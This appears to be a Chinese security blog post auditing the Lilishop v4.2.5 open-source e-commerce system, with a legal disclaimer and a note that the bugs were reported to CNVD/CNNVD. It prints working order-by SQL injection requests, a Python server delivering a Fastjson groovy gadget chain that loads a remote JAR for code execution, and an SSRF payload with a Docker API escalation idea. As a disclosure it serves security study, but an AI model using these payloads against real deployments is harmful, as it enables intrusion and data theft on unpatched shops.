Lilishop 开源商城系统是基于SpringBoot的全端开源电商商城系统,是北京宏业汇成科技有限公司提供的开源系统。该开源商城包含的功能点多,涵盖业务全面,代码审计时没有过于关注业务逻辑只关注了对系统的完整性、保密性、可用性造成损坏的漏洞点。文章分享了比较有意思的SSRF利用方式。
Lilishop 开源商城系统是基于SpringBoot的全端开源电商商城系统,是北京宏业汇成科技有限公司提供的开源系统。该开源商城包含的功能点多,涵盖业务全面,代码审计时没有过于关注业务逻辑只关注了对系统的完整性、保密性、可用性造成损坏的漏洞点。文章分享了比较有意思的SSRF利用方式。
遵纪守法
公网上存在部署了旧版本的CMS,旧版本仍然存在这些问题。
请不要非法攻击别人的服务器,如果你是服务器主人请升级到最新版本。
请严格遵守网络安全法相关条例!此分享主要用于交流学习,请勿用于非法用途,一切后果自付。
一切未经授权的网络攻击均为违法行为,互联网非法外之地。
漏洞报送
该文章涉及的漏洞已提交到CNVD、CNNVD平台。
文章转载
商业转载请联系作者获得授权,非商业转载请注明出处。
作者公众号:响尾蛇社区
Lilishop 开源商城系统版本:v4.2.5
系统环境:Window11
JAVA版本:1.8.0_381
Nodejs版本:v14.21.3
搭建该系统需要配置内存大于或等于32GB,需要部署买家、卖家、商城管理三端,分别有前后端,一共六个服务。
参考:本地搭建(Windows) · LILISHOP-开发者中心
拉取后端源码
git clone -b v4.2.5 --single-branch https://gitee.com/beijing_hongye_huicheng/lilishop.git
拉取前端源码
git clone -b v4.2.5 --single-branch https://gitee.com/beijing_hongye_huicheng/lilishop-ui.git
前端源码初始化并运行
npm install yarn
yarn install
yarn run dev
在安装过程中我需要了下面的报错问题。
解决命令如下:
yarn remove webpack
yarn remove compression-webpack-plugin
yarn add webpack@^4.36.0
yarn add compression-webpack-plugin@^6.0.5
这里的SQL注入漏洞点都是由一个地方导致的,漏洞注入的地方为order by
,依据 Mybatis 特性不能多行执行,且存在函数黑名单,所以利用上有限。
构造数据包:
GET /buyer/other/appVersion/appVersion/ANDROID?pageNumber=1&pageSize=5&type=ANNOUNCEMENT&sort=updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1)&order=desc HTTP/1.1
Host: localhost:8888
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/plain, */*
uuid: 522c39df-cd28-4edd-a46e-4d38b717554e
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:10000
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:10000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
后台查看SQL执行情况:
预编译的SQL语句为:
SELECT id, create_time, create_by, version, version_name, content, force_update, download_url, type, version_update_date FROM li_app_version WHERE (type = ?) ORDER BY updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) DESC LIMIT ?
除了报错注入,我们还可以使用布尔方式进行注入:
语句是获取所有表名并使用group_concat
将所有表名合成一行字符串输出,我们通过这种布尔的方式可以逐步爆破出所有的表名。
1-if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=73,1,(select 1 union select 2))
如果字符串第一位不是为ascii码中的73就会出现以下报错。
1-if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=108,1,(select 1 union select 2))
正确后正常返回数据。
访问 http://localhost:10003/goodsUnit 登录后台并进入到商品->计量单位
界面。
抓包并修改sort
参数为 payload:
updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1)
GET /manager/goods/goodsUnit?_t=1690460576&pageNumber=1&pageSize=10&sort=updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1)&order=desc&name= HTTP/1.1
Host: localhost:8887
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/plain, */*
accessToken: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyQ29udGV4dCI6IntcInVzZXJuYW1lXCI6XCJhZG1pblwiLFwibmlja05hbWVcIjpcIuWIneS4gFwiLFwiZmFjZVwiOlwiaHR0cHM6Ly9saWxpc2hvcC1vc3Mub3NzLWNuLWJlaWppbmcuYWxpeXVuY3MuY29tLzY1ZTg3ZmZhNzE4YjQyYmI5YzIwMTcxMjU2NmRiYzlhLnBuZ1wiLFwiaWRcIjpcIjEzMzczMDYxMTAyNzc0NzYzNTJcIixcImxvbmdUZXJtXCI6ZmFsc2UsXCJyb2xlXCI6XCJNQU5BR0VSXCIsXCJpc1N1cGVyXCI6dHJ1ZX0iLCJzdWIiOiJhZG1pbiIsImV4cCI6MTY5MDQ2MjI5OX0.3R2xS64WcysJVEJwnVpOZwLqMsMVGwYtuD9Y7qQIyYE
uuid: 41e9b550-5ee8-4db1-9533-129a5492af48
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:10003
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:10003/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
后台查看SQL执行情况:
预编译的SQL语句为:
SELECT id, name, create_by, create_time, update_by, update_time, delete_flag FROM li_goods_unit ORDER BY updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) DESC LIMIT ?
更多的利用方式:常见的sql注入方式和waf绕过 - sp4rk’s blog
默认开启Druid拦截功能:Druid拦截功能的配置与简单绕过
拦截功能配置:配置 wallfilter
默认函数黑名单:
其中的initPage
函数处理中使用了addOrder
但是没有对sort
进行SQL语句过滤。framework/src/main/java/cn/lili/mybatis/util/PageUtil.java
全局搜索PageUtil.initPage
根据spring自动绑定的特性,若此时加入orders参数的传递,同样的后端会进行对应的实体封装,最终带入到sql查询中,同时因为order by场景下MybatisPlus并没有相关的安全措施 ,会导致SQL注入风险。
通过这种请求入口,自动获取order
和sort
字段。以下是其中一个。manager-api/src/main/java/cn/lili/controller/goods/GoodsUnitManagerController.java
断点测试时,发现存在恶意的sort
内容被保留,并在后续拼接到预编译SQL语句。
关于分页插件注入更多信息请查看:SecIN
我们准备一个返回FastJson payload 的响应数据包。
这里我从Maven拉取的Fastjson版本较高1.2.78(依据framework/pom.xml
自动拉取)
我选择使用 payload
{"@type":"java.net.InetSocketAddress"{"address":,"val":"z1vpgb.dnslog.cn"}}
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
# 创建一个自定义的HTTP请求处理类
class MyHTTPRequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
# 设置响应头
self.send_response(200)
self.send_header('Content-type', 'application/json')
self.end_headers()
# 处理POST请求的逻辑
if self.path == '/getmsg':
# 在这里编写处理POST请求的代码
# 例如,您可以从请求中获取数据,进行处理,然后返回响应数据
response_data = '{"@type":"java.net.InetSocketAddress"{"address":,"val":"z1vpgb.dnslog.cn"}}'
self.wfile.write(response_data.encode())
else:
# 如果请求路径不是'/getmsg',返回404 Not Found
self.send_response(404)
self.end_headers()
self.wfile.write(b'404 Not Found')
# 启动HTTP服务器并监听指定端口
def start_http_server(port=14533):
server_address = ('', port)
httpd = HTTPServer(server_address, MyHTTPRequestHandler)
print(f"Starting HTTP server on port {port}...")
try:
# 启动HTTP服务器,等待请求
httpd.serve_forever()
except KeyboardInterrupt:
# 捕捉Ctrl+C退出信号,关闭HTTP服务器
httpd.server_close()
print("\nHTTP server stopped.")
if __name__ == '__main__':
# 启动HTTP服务器并监听端口8000
start_http_server()
更多的payload:GitHub - safe6Sec/Fastjson: Fastjson姿势技巧集合
使用python运行该文件并进入到运营后台 http://localhost:10003/sys/setting
设置->系统设置->快递鸟设置
将reqURL
修改成http://127.0.0.1:14533/getmsg
准备好这个之后,我们有很多出地方可以出发这个请求。
比如这里是商家查看获取物流,我们还可以在买家端、运营端找到这个功能。
这里是需要存在一个订单处于已发货状态。
当我们点击后在dnslog.cn
可以获得解析记录。
Fastjson <= 1.2.80 可以打三种不同的利用链,这里我发现存在其中一种利用链groovy
。org.codehaus.groovy.control.CompilationFailedException
改写我们的Exp python文件。
...
# 处理POST请求的逻辑
if self.path == '/getmsg':
# 在这里编写处理POST请求的代码
# 例如,您可以从请求中获取数据,进行处理,然后返回响应数据
# response_data = '{"@type":"java.net.InetSocketAddress"{"address":,"val":"z1vpgb.dnslog.cn"}}'
response_data1 = "{\n" \
" \"@type\":\"java.lang.Exception\",\n" \
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" \
" \"unit\":{\n" \
" }\n" \
"}"
response_data2 = "{\n" \
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" \
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" \
" \"config\":{\n" \
" \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" \
" \"classpathList\":[\"http://127.0.0.1:35260/attack-1.jar\"]\n" \
" },\n" \
" \"gcl\":null,\n" \
" \"destDir\": \"/tmp\"\n" \
"}";
# self.wfile.write(json.dumps(response_data1).encode())
self.wfile.write(response_data1.encode())
...
这里有两步请求 payload :
实例化org.codehaus.groovy.control.ProcessingUnit并把org.codehaus.groovy.control.ProcessingUnit加入反序列化缓存。
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
通过GroovyClassLoader加载恶意Class
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:35260/attack-1.jar"
}
}
下载 GitHub - Lonely-night/fastjsonVul: fastjson 80 远程代码执行漏洞复现
修改attack/src/main/java/groovy/grape/GrabAnnotationTransformation2.java
修改默认执行命令,我使用的是window环境,所以修改成calc.exe
通过maven package
打包成 jar,然后到jar的目录下执行python -m http.server 35260
接下来分别让FastJson解析两个payload后就执行了我们想要的命令。
总的过程:
reqURL
参考资料:
fastjson 1.2.80绕过简单分析 - rnss - 博客园
fastjson 1.2.80 漏洞分析
Fastjson 漏洞梳理
设置->系统设置->快递鸟设置
将电子面单URL
修改成http://127.0.0.1:14533/getmsg
保存后,我们登录商家端,在订单->商品订单
找一个待发货的订单,进入订单详情后,点击打印电子面单
然后点击确认。
脚本可以收到请求信息
按照上面发送两个请求后一样能够RCE。
发现getOrderTracesByJson
函数中存在两行代码:
String result = sendPost(ReqURL, params);
Map map = (Map) JSON.parse(result);
其作用是对ReqURL
发起Post请求,然后将返回的内容交给FastJson的JSON.parse函数,即将返回的JSON内容转换成Java对象。framework/src/main/java/cn/lili/modules/system/serviceimpl/LogisticsServiceImpl.java
这里的ReqURL
是由快递鸟设置的。
只有同一文件中的函数getLogistic
调用了它。
但它存在两个用法,分别是AfterSaleServiceImpl
和OrderServiceImpl
,分别是查看订单里的查看物流功能和退货后里的查看物流功能,总共有五处可以触发该功能。
查看物流实现的是getTraces
接口。framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java
有三处调用,分别是买家、运营、商家。
framework/src/main/java/cn/lili/modules/kdBrid/serviceImpl/KdNiaoServiceImpl.java
seller-api/src/main/java/cn/lili/controller/order/OrderStoreController.java
总的来说,需要完成此RCE需要运营权限,需要存在一个待发货或者已发货订单,需要一台VPS,需要对方服务器能够出网。是一个后台的RCE漏洞,相对来说利用复杂度高。
漏洞出现的原因是没有对数据包中的图片网络地址进行校验,构造了GET请求。从具体来看,这里只能执行HTTP、HTTPS的协议且没有回显,能利用的范围极其有限。
我们先在运营后台http://localhost:10003/sys/authLogin设置->信任登录
填写好appid和appSecret。
然后进入卖家后台http://localhost:10002/liveGoods营销->直播商品
选择添加商品,任意选择商品点击确定。
抓包后修改goodsImage
参数即可。
监听的服务能够接收到请求。
请求数据包:
POST /store/broadcast/commodity HTTP/1.1
Host: localhost:8889
Content-Length: 280
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
accessToken: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyQ29udGV4dCI6IntcInVzZXJuYW1lXCI6XCIxMzAxMTExMTExMVwiLFwibmlja05hbWVcIjpcIuW8oOS4iVwiLFwiZmFjZVwiOlwiaHR0cHM6Ly9saWxpc2hvcC1vc3Mub3NzLWNuLWJlaWppbmcuYWxpeXVuY3MuY29tLzE1OGJmZjgzMWNmZjQ5OWE4ZDQ1YTIyNmE2ZTAyMGMyLnBuZ1wiLFwiaWRcIjpcIjEzNzY0MTc2ODQxNDAzMjY5MTJcIixcImxvbmdUZXJtXCI6ZmFsc2UsXCJyb2xlXCI6XCJTVE9SRVwiLFwic3RvcmVJZFwiOlwiMTM3NjQzMzU2NTI0NzQ3MTYxNlwiLFwiY2xlcmtJZFwiOlwiMTM3NjQzMzU2NTI0NzQ3MTYxNlwiLFwic3RvcmVOYW1lXCI6XCLlrrblrrbkuZBcIixcImlzU3VwZXJcIjp0cnVlfSIsInN1YiI6IjEzMDExMTExMTExIiwiZXhwIjoxNjkwNDU4ODM5fQ.Ewl3h-FG0X46mhJWPS3ZKDvsOMmtwyuDtSM1wbr8umk
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Content-Type: application/json
Accept: application/json, text/plain, */*
uuid: 4cbd68bb-d1cd-4763-b74e-961dc910f418
sec-ch-ua-platform: "Windows"
Origin: http://localhost:10002
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:10002/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
[
{
"goodsId": "1422073672823595010",
"goodsImage": "http://127.0.0.1:4567",
"name": " OPPO Reno6 5G 星黛紫 8G+128G 64G",
"price": 4999,
"quantity": 95,
"price2": "",
"priceType": 1,
"skuId": "1422073673050087425",
"url": "pages/product/goods?id=1422073673050087425&goodsId=1422073672823595010"
}
]
后续利用
受到CVE-2021-21287: 容器与云的碰撞——一次对MinIO的测试的启发,如果目标机器存在docker 2375端口监听且没有设置验证密码的情况下,我们可以通过SSRF请求2375的/build
完成Build an image功能。挂载到特殊目录完成GetShell(只适合Linux系统)。
Docker Engine API v1.41 Reference
如果出现开启但是没有监听可以通过游览这个页面解决
https://github.com/docker/for-win/issues/3546
framework/src/main/java/cn/lili/modules/goods/util/WechatMediaUtil.java
framework/src/main/java/cn/lili/modules/goods/util/WechatLivePlayerUtil.java
framework/src/main/java/cn/lili/modules/goods/serviceimpl/CommodityServiceImpl.java
seller-api/src/main/java/cn/lili/controller/other/broadcast/CommodityStoreController.java
在审计SpringBoot框架的代码时,我主要从高危漏洞入手,一般关注注入漏洞比较多。在实践过程中,大部分的业务点不会涉及到远程加载未验证类的情况,存在RCE的地方一般会伴随反序列化漏洞。
免费领取安全学习资料包!(私聊进群一起学习,共同进步)https://docs.qq.com/doc/DRGJHbUxpTWR2Y3lq